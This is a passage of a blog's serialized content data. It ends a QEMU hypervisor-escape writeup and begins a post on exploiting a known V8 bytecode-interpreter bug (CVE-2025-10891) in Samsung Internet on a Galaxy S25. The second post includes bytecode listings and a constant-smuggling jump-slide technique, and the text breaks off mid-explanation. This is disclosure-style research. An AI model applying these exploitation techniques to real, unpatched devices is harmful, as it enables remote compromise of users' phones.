primitive.",{"type":25,"tag":34,"props":132956,"children":132957},{},[132958],{"type":31,"value":132959},"Writeup coming next week.",{"type":25,"tag":32453,"props":132961,"children":132962},{},[],{"type":25,"tag":34,"props":132964,"children":132965},{},[132966,132968,132974,132976,132982],{"type":31,"value":132967},"The final exploit, targeting QEMU commit ",{"type":25,"tag":115,"props":132969,"children":132971},{"className":132970},[],[132972],{"type":31,"value":132973},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":31,"value":132975}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":25,"tag":71,"props":132977,"children":132980},{"href":132978,"rel":132979},"https://github.com/otter-sec/qemu-escape",[75],[132981],{"type":31,"value":48661},{"type":31,"value":80},{"type":25,"tag":34,"props":132984,"children":132985},{},[132986,132988,132995],{"type":31,"value":132987},"Special thanks to ",{"type":25,"tag":71,"props":132989,"children":132992},{"href":132990,"rel":132991},"https://www.willsroot.io/",[75],[132993],{"type":31,"value":132994},"William Liu",{"type":31,"value":132996}," for proofreading this post and helping us polish it before publication.",{"type":25,"tag":26,"props":132998,"children":132999},{"id":4323},[133000],{"type":31,"value":4326},{"type":25,"tag":34,"props":133002,"children":133003},{},[133004],{"type":31,"value":133005},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":25,"tag":34,"props":133007,"children":133008},{},[133009],{"type":31,"value":133010},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":25,"tag":4349,"props":133012,"children":133013},{},[133014],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":133016},[133017,133020,133023,133032],{"id":124745,"depth":226,"text":124758,"children":133018},[133019],{"id":124766,"depth":278,"text":124769},{"id":124790,"depth":226,"text":124793,"children":133021},[133022],{"id":124804,"depth":278,"text":124804},{"id":101192,"depth":226,"text":101195,"children":133024},[133025,133026,133027,133028,133029,133030,133031],{"id":127396,"depth":278,"text":127399},{"id":128923,"depth":278,"text":128926},{"id":129717,"depth":278,"text":129720},{"id":130122,"depth":278,"text":130125},{"id":130338,"depth":278,"text":130341},{"id":130544,"depth":278,"text":130547},{"id":132840,"depth":278,"text":132843},{"id":4323,"depth":226,"text":4326},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133038,"description":133039,"date":133040,"author":133041,"image":133044,"isFeatured":17,"onBlogPage":17,"tags":133046,"body":133049,"_type":4371,"_id":142957,"_source":4373,"_file":142958,"_stem":142959,"_extension":4376},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[124741,133042,133043],"jamie","william",{"src":133045,"width":98352,"height":15},"/posts/mobile-renderer-rce/title.png",[133047,133048],"RCE","mobile",{"type":22,"children":133050,"toc":142937},[133051,133055,133060,133074,133080,133094,133115,133123,133136,133144,133157,133163,133176,133190,133196,133210,133313,133318,133326,133331,133336,133357,133435,133443,133462,133475,133481,133487,133501,133617,133622,133627,133635,133640,133648,133676,133705,133717,133893,133898,133906,133925,133938,133944,133964,133978,133983,133988,134016,134052,134121,134127,134149,134154,134162,134175,134180,134188,134193,134232,134238,134251,134256,134434,134444,134452,134472,134496,134509,134515,134520,135162,135167,135175,135217,137206,137211,137219,137225,137258,137276,137446,137504,137529,137623,137628,138419,138424,138432,138443,140487,140492,140500,140506,140528,140542,140555,140567,140597,140602,141043,141071,141178,141195,141352,141357,141369,141665,141691,141714,141846,141858,141863,142015,142051,142064,142069,142191,142232,142309,142314,142888,142894,142906,142919,142923,142928,142933],{"type":25,"tag":26,"props":133052,"children":133053},{"id":28},[133054],{"type":31,"value":32},{"type":25,"tag":34,"props":133056,"children":133057},{},[133058],{"type":31,"value":133059},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":25,"tag":34,"props":133061,"children":133062},{},[133063,133065,133072],{"type":31,"value":133064},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":25,"tag":71,"props":133066,"children":133069},{"href":133067,"rel":133068},"https://cor.team",[75],[133070],{"type":31,"value":133071},"Crusaders of Rust",{"type":31,"value":133073}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":25,"tag":40,"props":133075,"children":133077},{"id":133076},"finding-the-v8-version",[133078],{"type":31,"value":133079},"Finding the V8 Version",{"type":25,"tag":34,"props":133081,"children":133082},{},[133083,133085,133092],{"type":31,"value":133084},"We started by pulling Samsung Internet's APK from the device over ",{"type":25,"tag":71,"props":133086,"children":133089},{"href":133087,"rel":133088},"https://developer.android.com/tools/adb",[75],[133090],{"type":31,"value":133091},"adb",{"type":31,"value":133093}," and inspecting the libraries it shipped with.",{"type":25,"tag":34,"props":133095,"children":133096},{},[133097,133099,133105,133107,133113],{"type":31,"value":133098},"After extracting the APK, we searched the ",{"type":25,"tag":115,"props":133100,"children":133102},{"className":133101},[],[133103],{"type":31,"value":133104},"lib/",{"type":31,"value":133106}," directory for ",{"type":25,"tag":115,"props":133108,"children":133110},{"className":133109},[],[133111],{"type":31,"value":133112},"v8::*",{"type":31,"value":133114}," symbols:",{"type":25,"tag":191,"props":133116,"children":133118},{"code":133117},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133119],{"type":25,"tag":115,"props":133120,"children":133121},{"__ignoreMap":7},[133122],{"type":31,"value":133117},{"type":25,"tag":34,"props":133124,"children":133125},{},[133126,133128,133134],{"type":31,"value":133127},"Only one file matched our search: ",{"type":25,"tag":115,"props":133129,"children":133131},{"className":133130},[],[133132],{"type":31,"value":133133},"libterrace.so",{"type":31,"value":133135},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":25,"tag":34,"props":133137,"children":133138},{},[133139],{"type":25,"tag":127,"props":133140,"children":133143},{"alt":133141,"src":133142},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":25,"tag":34,"props":133145,"children":133146},{},[133147,133149,133155],{"type":31,"value":133148},"Surprisingly, this ",{"type":25,"tag":115,"props":133150,"children":133152},{"className":133151},[],[133153],{"type":31,"value":133154},"13.6.233.10",{"type":31,"value":133156}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":25,"tag":40,"props":133158,"children":133160},{"id":133159},"choosing-the-bug",[133161],{"type":31,"value":133162},"Choosing the Bug",{"type":25,"tag":34,"props":133164,"children":133165},{},[133166,133168,133174],{"type":31,"value":133167},"We were able to trigger a couple of bugs on our locally compiled ",{"type":25,"tag":115,"props":133169,"children":133171},{"className":133170},[],[133172],{"type":31,"value":133173},"d8",{"type":31,"value":133175}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":25,"tag":34,"props":133177,"children":133178},{},[133179,133181,133188],{"type":31,"value":133180},"Another one was ",{"type":25,"tag":71,"props":133182,"children":133185},{"href":133183,"rel":133184},"https://issuetracker.google.com/issues/443875388",[75],[133186],{"type":31,"value":133187},"CVE-2025-10891",{"type":31,"value":133189}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":25,"tag":26,"props":133191,"children":133193},{"id":133192},"ignition-bytecode-introduction",[133194],{"type":31,"value":133195},"Ignition Bytecode Introduction",{"type":25,"tag":34,"props":133197,"children":133198},{},[133199,133201,133208],{"type":31,"value":133200},"V8 initially compiles all JS code to a bytecode format with the ",{"type":25,"tag":71,"props":133202,"children":133205},{"href":133203,"rel":133204},"https://v8.dev/blog/ignition-interpreter",[75],[133206],{"type":31,"value":133207},"Ignition",{"type":31,"value":133209}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":25,"tag":191,"props":133211,"children":133213},{"code":133212,"language":195,"meta":7,"className":193,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133214],{"type":25,"tag":115,"props":133215,"children":133216},{"__ignoreMap":7},[133217,133240,133264,133288],{"type":25,"tag":201,"props":133218,"children":133219},{"class":203,"line":204},[133220,133224,133228,133232,133236],{"type":25,"tag":201,"props":133221,"children":133222},{"style":208},[133223],{"type":31,"value":13289},{"type":25,"tag":201,"props":133225,"children":133226},{"style":246},[133227],{"type":31,"value":90920},{"type":25,"tag":201,"props":133229,"children":133230},{"style":261},[133231],{"type":31,"value":413},{"type":25,"tag":201,"props":133233,"children":133234},{"style":426},[133235],{"type":31,"value":6029},{"type":25,"tag":201,"props":133237,"children":133238},{"style":220},[133239],{"type":31,"value":461},{"type":25,"tag":201,"props":133241,"children":133242},{"class":203,"line":226},[133243,133247,133251,133255,133260],{"type":25,"tag":201,"props":133244,"children":133245},{"style":208},[133246],{"type":31,"value":13289},{"type":25,"tag":201,"props":133248,"children":133249},{"style":246},[133250],{"type":31,"value":91794},{"type":25,"tag":201,"props":133252,"children":133253},{"style":261},[133254],{"type":31,"value":413},{"type":25,"tag":201,"props":133256,"children":133257},{"style":426},[133258],{"type":31,"value":133259}," 0x0fff",{"type":25,"tag":201,"props":133261,"children":133262},{"style":220},[133263],{"type":31,"value":461},{"type":25,"tag":201,"props":133265,"children":133266},{"class":203,"line":278},[133267,133271,133275,133279,133284],{"type":25,"tag":201,"props":133268,"children":133269},{"style":208},[133270],{"type":31,"value":13289},{"type":25,"tag":201,"props":133272,"children":133273},{"style":246},[133274],{"type":31,"value":38515},{"type":25,"tag":201,"props":133276,"children":133277},{"style":261},[133278],{"type":31,"value":413},{"type":25,"tag":201,"props":133280,"children":133281},{"style":426},[133282],{"type":31,"value":133283}," 0x0fffffff",{"type":25,"tag":201,"props":133285,"children":133286},{"style":220},[133287],{"type":31,"value":461},{"type":25,"tag":201,"props":133289,"children":133290},{"class":203,"line":311},[133291,133295,133300,133304,133309],{"type":25,"tag":201,"props":133292,"children":133293},{"style":208},[133294],{"type":31,"value":13289},{"type":25,"tag":201,"props":133296,"children":133297},{"style":246},[133298],{"type":31,"value":133299}," d",{"type":25,"tag":201,"props":133301,"children":133302},{"style":261},[133303],{"type":31,"value":413},{"type":25,"tag":201,"props":133305,"children":133306},{"style":426},[133307],{"type":31,"value":133308}," 0xffffffff",{"type":25,"tag":201,"props":133310,"children":133311},{"style":220},[133312],{"type":31,"value":461},{"type":25,"tag":34,"props":133314,"children":133315},{},[133316],{"type":31,"value":133317},"compiles to",{"type":25,"tag":191,"props":133319,"children":133321},{"code":133320}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[133322],{"type":25,"tag":115,"props":133323,"children":133324},{"__ignoreMap":7},[133325],{"type":31,"value":133320},{"type":25,"tag":34,"props":133327,"children":133328},{},[133329],{"type":31,"value":133330},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":25,"tag":40,"props":133332,"children":133334},{"id":133333},"cve-2025-10891",[133335],{"type":31,"value":133187},{"type":25,"tag":34,"props":133337,"children":133338},{},[133339,133341,133347,133349,133355],{"type":31,"value":133340},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":25,"tag":115,"props":133342,"children":133344},{"className":133343},[],[133345],{"type":31,"value":133346},"[start, end) => handler",{"type":31,"value":133348}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":25,"tag":115,"props":133350,"children":133352},{"className":133351},[],[133353],{"type":31,"value":133354},"handler",{"type":31,"value":133356}," is jumped to.",{"type":25,"tag":191,"props":133358,"children":133360},{"code":133359,"language":195,"meta":7,"className":193,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[133361],{"type":25,"tag":115,"props":133362,"children":133363},{"__ignoreMap":7},[133364,133375,133390,133405,133428],{"type":25,"tag":201,"props":133365,"children":133366},{"class":203,"line":204},[133367,133371],{"type":25,"tag":201,"props":133368,"children":133369},{"style":230},[133370],{"type":31,"value":49408},{"type":25,"tag":201,"props":133372,"children":133373},{"style":220},[133374],{"type":31,"value":327},{"type":25,"tag":201,"props":133376,"children":133377},{"class":203,"line":226},[133378,133382,133386],{"type":25,"tag":201,"props":133379,"children":133380},{"style":230},[133381],{"type":31,"value":4149},{"type":25,"tag":201,"props":133383,"children":133384},{"style":426},[133385],{"type":31,"value":6029},{"type":25,"tag":201,"props":133387,"children":133388},{"style":220},[133389],{"type":31,"value":461},{"type":25,"tag":201,"props":133391,"children":133392},{"class":203,"line":278},[133393,133397,133401],{"type":25,"tag":201,"props":133394,"children":133395},{"style":220},[133396],{"type":31,"value":47950},{"type":25,"tag":201,"props":133398,"children":133399},{"style":230},[133400],{"type":31,"value":49488},{"type":25,"tag":201,"props":133402,"children":133403},{"style":220},[133404],{"type":31,"value":327},{"type":25,"tag":201,"props":133406,"children":133407},{"class":203,"line":311},[133408,133412,133416,133420,133424],{"type":25,"tag":201,"props":133409,"children":133410},{"style":208},[133411],{"type":31,"value":9364},{"type":25,"tag":201,"props":133413,"children":133414},{"style":246},[133415],{"type":31,"value":91794},{"type":25,"tag":201,"props":133417,"children":133418},{"style":261},[133419],{"type":31,"value":413},{"type":25,"tag":201,"props":133421,"children":133422},{"style":426},[133423],{"type":31,"value":9443},{"type":25,"tag":201,"props":133425,"children":133426},{"style":220},[133427],{"type":31,"value":461},{"type":25,"tag":201,"props":133429,"children":133430},{"class":203,"line":330},[133431],{"type":25,"tag":201,"props":133432,"children":133433},{"style":220},[133434],{"type":31,"value":1187},{"type":25,"tag":191,"props":133436,"children":133438},{"code":133437}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[133439],{"type":25,"tag":115,"props":133440,"children":133441},{"__ignoreMap":7},[133442],{"type":31,"value":133437},{"type":25,"tag":34,"props":133444,"children":133445},{},[133446,133448,133453,133455,133460],{"type":31,"value":133447},"However, the ",{"type":25,"tag":115,"props":133449,"children":133451},{"className":133450},[],[133452],{"type":31,"value":133354},{"type":31,"value":133454}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":25,"tag":115,"props":133456,"children":133458},{"className":133457},[],[133459],{"type":31,"value":49488},{"type":31,"value":133461}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":25,"tag":34,"props":133463,"children":133464},{},[133465,133467,133473],{"type":31,"value":133466},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":25,"tag":115,"props":133468,"children":133470},{"className":133469},[],[133471],{"type":31,"value":133472},"yield*",{"type":31,"value":133474}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":25,"tag":26,"props":133476,"children":133478},{"id":133477},"exploitation",[133479],{"type":31,"value":133480},"Exploitation",{"type":25,"tag":40,"props":133482,"children":133484},{"id":133483},"constant-smuggling",[133485],{"type":31,"value":133486},"Constant Smuggling",{"type":25,"tag":34,"props":133488,"children":133489},{},[133490,133492,133499],{"type":31,"value":133491},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":25,"tag":71,"props":133493,"children":133496},{"href":133494,"rel":133495},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[75],[133497],{"type":31,"value":133498},"technique",{"type":31,"value":133500}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":25,"tag":191,"props":133502,"children":133504},{"code":133503,"language":195,"meta":7,"className":193,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[133505],{"type":25,"tag":115,"props":133506,"children":133507},{"__ignoreMap":7},[133508,133536,133563,133590],{"type":25,"tag":201,"props":133509,"children":133510},{"class":203,"line":204},[133511,133515,133519,133523,133527,133532],{"type":25,"tag":201,"props":133512,"children":133513},{"style":208},[133514],{"type":31,"value":13289},{"type":25,"tag":201,"props":133516,"children":133517},{"style":246},[133518],{"type":31,"value":90920},{"type":25,"tag":201,"props":133520,"children":133521},{"style":261},[133522],{"type":31,"value":413},{"type":25,"tag":201,"props":133524,"children":133525},{"style":261},[133526],{"type":31,"value":52333},{"type":25,"tag":201,"props":133528,"children":133529},{"style":426},[133530],{"type":31,"value":133531},"9.255963134931783e61",{"type":25,"tag":201,"props":133533,"children":133534},{"style":220},[133535],{"type":31,"value":461},{"type":25,"tag":201,"props":133537,"children":133538},{"class":203,"line":226},[133539,133543,133547,133551,133555,133559],{"type":25,"tag":201,"props":133540,"children":133541},{"style":208},[133542],{"type":31,"value":13289},{"type":25,"tag":201,"props":133544,"children":133545},{"style":246},[133546],{"type":31,"value":91794},{"type":25,"tag":201,"props":133548,"children":133549},{"style":261},[133550],{"type":31,"value":413},{"type":25,"tag":201,"props":133552,"children":133553},{"style":261},[133554],{"type":31,"value":52333},{"type":25,"tag":201,"props":133556,"children":133557},{"style":426},[133558],{"type":31,"value":133531},{"type":25,"tag":201,"props":133560,"children":133561},{"style":220},[133562],{"type":31,"value":461},{"type":25,"tag":201,"props":133564,"children":133565},{"class":203,"line":278},[133566,133570,133574,133578,133582,133586],{"type":25,"tag":201,"props":133567,"children":133568},{"style":208},[133569],{"type":31,"value":13289},{"type":25,"tag":201,"props":133571,"children":133572},{"style":246},[133573],{"type":31,"value":38515},{"type":25,"tag":201,"props":133575,"children":133576},{"style":261},[133577],{"type":31,"value":413},{"type":25,"tag":201,"props":133579,"children":133580},{"style":261},[133581],{"type":31,"value":52333},{"type":25,"tag":201,"props":133583,"children":133584},{"style":426},[133585],{"type":31,"value":133531},{"type":25,"tag":201,"props":133587,"children":133588},{"style":220},[133589],{"type":31,"value":461},{"type":25,"tag":201,"props":133591,"children":133592},{"class":203,"line":311},[133593,133597,133601,133605,133609,133613],{"type":25,"tag":201,"props":133594,"children":133595},{"style":208},[133596],{"type":31,"value":13289},{"type":25,"tag":201,"props":133598,"children":133599},{"style":246},[133600],{"type":31,"value":133299},{"type":25,"tag":201,"props":133602,"children":133603},{"style":261},[133604],{"type":31,"value":413},{"type":25,"tag":201,"props":133606,"children":133607},{"style":261},[133608],{"type":31,"value":52333},{"type":25,"tag":201,"props":133610,"children":133611},{"style":426},[133612],{"type":31,"value":133531},{"type":25,"tag":201,"props":133614,"children":133615},{"style":220},[133616],{"type":31,"value":461},{"type":25,"tag":34,"props":133618,"children":133619},{},[133620],{"type":31,"value":133621},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":25,"tag":34,"props":133623,"children":133624},{},[133625],{"type":31,"value":133626},"We'll use a similar principle here, although much more limited. With",{"type":25,"tag":191,"props":133628,"children":133630},{"code":133629},"let a = 0x0693bebe;\n",[133631],{"type":25,"tag":115,"props":133632,"children":133633},{"__ignoreMap":7},[133634],{"type":31,"value":133629},{"type":25,"tag":34,"props":133636,"children":133637},{},[133638],{"type":31,"value":133639},"We will compile the bytecode:",{"type":25,"tag":191,"props":133641,"children":133643},{"code":133642},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[133644],{"type":25,"tag":115,"props":133645,"children":133646},{"__ignoreMap":7},[133647],{"type":31,"value":133642},{"type":25,"tag":34,"props":133649,"children":133650},{},[133651,133653,133659,133661,133667,133668,133674],{"type":31,"value":133652},"We can then jump to the 3rd byte (",{"type":25,"tag":115,"props":133654,"children":133656},{"className":133655},[],[133657],{"type":31,"value":133658},"0xbe",{"type":31,"value":133660},"), and gain 2 controlled bytes of execution, followed by ",{"type":25,"tag":115,"props":133662,"children":133664},{"className":133663},[],[133665],{"type":31,"value":133666},"0x93 0x02 - 0xf",{"type":31,"value":238},{"type":25,"tag":115,"props":133669,"children":133671},{"className":133670},[],[133672],{"type":31,"value":133673},"Jump +[2-15]",{"type":31,"value":133675},") to jump into the next constant.",{"type":25,"tag":34,"props":133677,"children":133678},{},[133679,133681,133687,133689,133695,133697,133703],{"type":31,"value":133680},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":25,"tag":115,"props":133682,"children":133684},{"className":133683},[],[133685],{"type":31,"value":133686},"StarX",{"type":31,"value":133688}," instructions, registers 16-121 resulted in two bytes ",{"type":25,"tag":115,"props":133690,"children":133692},{"className":133691},[],[133693],{"type":31,"value":133694},"Star rX",{"type":31,"value":133696}," instructions, and the next batch resulted in 4 byte ",{"type":25,"tag":115,"props":133698,"children":133700},{"className":133699},[],[133701],{"type":31,"value":133702},"Star.ExtraWide rX",{"type":31,"value":133704}," instructions.",{"type":25,"tag":34,"props":133706,"children":133707},{},[133708,133710,133716],{"type":31,"value":133709},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":25,"tag":115,"props":133711,"children":133713},{"className":133712},[],[133714],{"type":31,"value":133715},"0x8931111",{"type":31,"value":5997},{"type":25,"tag":191,"props":133718,"children":133720},{"code":133719,"language":195,"meta":7,"className":193,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[133721],{"type":25,"tag":115,"props":133722,"children":133723},{"__ignoreMap":7},[133724,133749,133773,133797,133821,133845,133869],{"type":25,"tag":201,"props":133725,"children":133726},{"class":203,"line":204},[133727,133731,133736,133740,133745],{"type":25,"tag":201,"props":133728,"children":133729},{"style":208},[133730],{"type":31,"value":13289},{"type":25,"tag":201,"props":133732,"children":133733},{"style":246},[133734],{"type":31,"value":133735}," a206",{"type":25,"tag":201,"props":133737,"children":133738},{"style":261},[133739],{"type":31,"value":413},{"type":25,"tag":201,"props":133741,"children":133742},{"style":426},[133743],{"type":31,"value":133744}," 0x8931111",{"type":25,"tag":201,"props":133746,"children":133747},{"style":220},[133748],{"type":31,"value":461},{"type":25,"tag":201,"props":133750,"children":133751},{"class":203,"line":226},[133752,133756,133761,133765,133769],{"type":25,"tag":201,"props":133753,"children":133754},{"style":208},[133755],{"type":31,"value":13289},{"type":25,"tag":201,"props":133757,"children":133758},{"style":246},[133759],{"type":31,"value":133760}," a207",{"type":25,"tag":201,"props":133762,"children":133763},{"style":261},[133764],{"type":31,"value":413},{"type":25,"tag":201,"props":133766,"children":133767},{"style":426},[133768],{"type":31,"value":133744},{"type":25,"tag":201,"props":133770,"children":133771},{"style":220},[133772],{"type":31,"value":461},{"type":25,"tag":201,"props":133774,"children":133775},{"class":203,"line":278},[133776,133780,133785,133789,133793],{"type":25,"tag":201,"props":133777,"children":133778},{"style":208},[133779],{"type":31,"value":13289},{"type":25,"tag":201,"props":133781,"children":133782},{"style":246},[133783],{"type":31,"value":133784}," a208",{"type":25,"tag":201,"props":133786,"children":133787},{"style":261},[133788],{"type":31,"value":413},{"type":25,"tag":201,"props":133790,"children":133791},{"style":426},[133792],{"type":31,"value":133744},{"type":25,"tag":201,"props":133794,"children":133795},{"style":220},[133796],{"type":31,"value":461},{"type":25,"tag":201,"props":133798,"children":133799},{"class":203,"line":311},[133800,133804,133809,133813,133817],{"type":25,"tag":201,"props":133801,"children":133802},{"style":208},[133803],{"type":31,"value":13289},{"type":25,"tag":201,"props":133805,"children":133806},{"style":246},[133807],{"type":31,"value":133808}," a209",{"type":25,"tag":201,"props":133810,"children":133811},{"style":261},[133812],{"type":31,"value":413},{"type":25,"tag":201,"props":133814,"children":133815},{"style":426},[133816],{"type":31,"value":133744},{"type":25,"tag":201,"props":133818,"children":133819},{"style":220},[133820],{"type":31,"value":461},{"type":25,"tag":201,"props":133822,"children":133823},{"class":203,"line":330},[133824,133828,133833,133837,133841],{"type":25,"tag":201,"props":133825,"children":133826},{"style":208},[133827],{"type":31,"value":13289},{"type":25,"tag":201,"props":133829,"children":133830},{"style":246},[133831],{"type":31,"value":133832}," a210",{"type":25,"tag":201,"props":133834,"children":133835},{"style":261},[133836],{"type":31,"value":413},{"type":25,"tag":201,"props":133838,"children":133839},{"style":426},[133840],{"type":31,"value":133744},{"type":25,"tag":201,"props":133842,"children":133843},{"style":220},[133844],{"type":31,"value":461},{"type":25,"tag":201,"props":133846,"children":133847},{"class":203,"line":397},[133848,133852,133857,133861,133865],{"type":25,"tag":201,"props":133849,"children":133850},{"style":208},[133851],{"type":31,"value":13289},{"type":25,"tag":201,"props":133853,"children":133854},{"style":246},[133855],{"type":31,"value":133856}," a211",{"type":25,"tag":201,"props":133858,"children":133859},{"style":261},[133860],{"type":31,"value":413},{"type":25,"tag":201,"props":133862,"children":133863},{"style":426},[133864],{"type":31,"value":133744},{"type":25,"tag":201,"props":133866,"children":133867},{"style":220},[133868],{"type":31,"value":461},{"type":25,"tag":201,"props":133870,"children":133871},{"class":203,"line":437},[133872,133876,133881,133885,133889],{"type":25,"tag":201,"props":133873,"children":133874},{"style":208},[133875],{"type":31,"value":13289},{"type":25,"tag":201,"props":133877,"children":133878},{"style":246},[133879],{"type":31,"value":133880}," a212",{"type":25,"tag":201,"props":133882,"children":133883},{"style":261},[133884],{"type":31,"value":413},{"type":25,"tag":201,"props":133886,"children":133887},{"style":426},[133888],{"type":31,"value":133744},{"type":25,"tag":201,"props":133890,"children":133891},{"style":220},[133892],{"type":31,"value":461},{"type":25,"tag":34,"props":133894,"children":133895},{},[133896],{"type":31,"value":133897},"Those instructions result in:",{"type":25,"tag":191,"props":133899,"children":133901},{"code":133900},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[133902],{"type":25,"tag":115,"props":133903,"children":133904},{"__ignoreMap":7},[133905],{"type":31,"value":133900},{"type":25,"tag":34,"props":133907,"children":133908},{},[133909,133911,133917,133919,133923],{"type":31,"value":133910},"(The offset of ",{"type":25,"tag":115,"props":133912,"children":133914},{"className":133913},[],[133915],{"type":31,"value":133916},"Jump",{"type":31,"value":133918}," instructions is added to the ",{"type":25,"tag":65,"props":133920,"children":133921},{},[133922],{"type":31,"value":72173},{"type":31,"value":133924}," of the instruction.)",{"type":25,"tag":34,"props":133926,"children":133927},{},[133928,133930,133936],{"type":31,"value":133929},"Now, 3 out of the 6 bytes in a ",{"type":25,"tag":115,"props":133931,"children":133933},{"className":133932},[],[133934],{"type":31,"value":133935},"LdaSmi.ExtraWide",{"type":31,"value":133937}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":25,"tag":40,"props":133939,"children":133941},{"id":133940},"exploit-goal",[133942],{"type":31,"value":133943},"Exploit Goal",{"type":25,"tag":34,"props":133945,"children":133946},{},[133947,133949,133955,133956,133962],{"type":31,"value":133948},"Initially we considered using ",{"type":25,"tag":115,"props":133950,"children":133952},{"className":133951},[],[133953],{"type":31,"value":133954},"Star",{"type":31,"value":6087},{"type":25,"tag":115,"props":133957,"children":133959},{"className":133958},[],[133960],{"type":31,"value":133961},"Ldar",{"type":31,"value":133963}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":25,"tag":34,"props":133965,"children":133966},{},[133967,133969,133976],{"type":31,"value":133968},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":25,"tag":71,"props":133970,"children":133973},{"href":133971,"rel":133972},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[75],[133974],{"type":31,"value":133975},"stack pivot and ROP",{"type":31,"value":133977},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":25,"tag":34,"props":133979,"children":133980},{},[133981],{"type":31,"value":133982},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 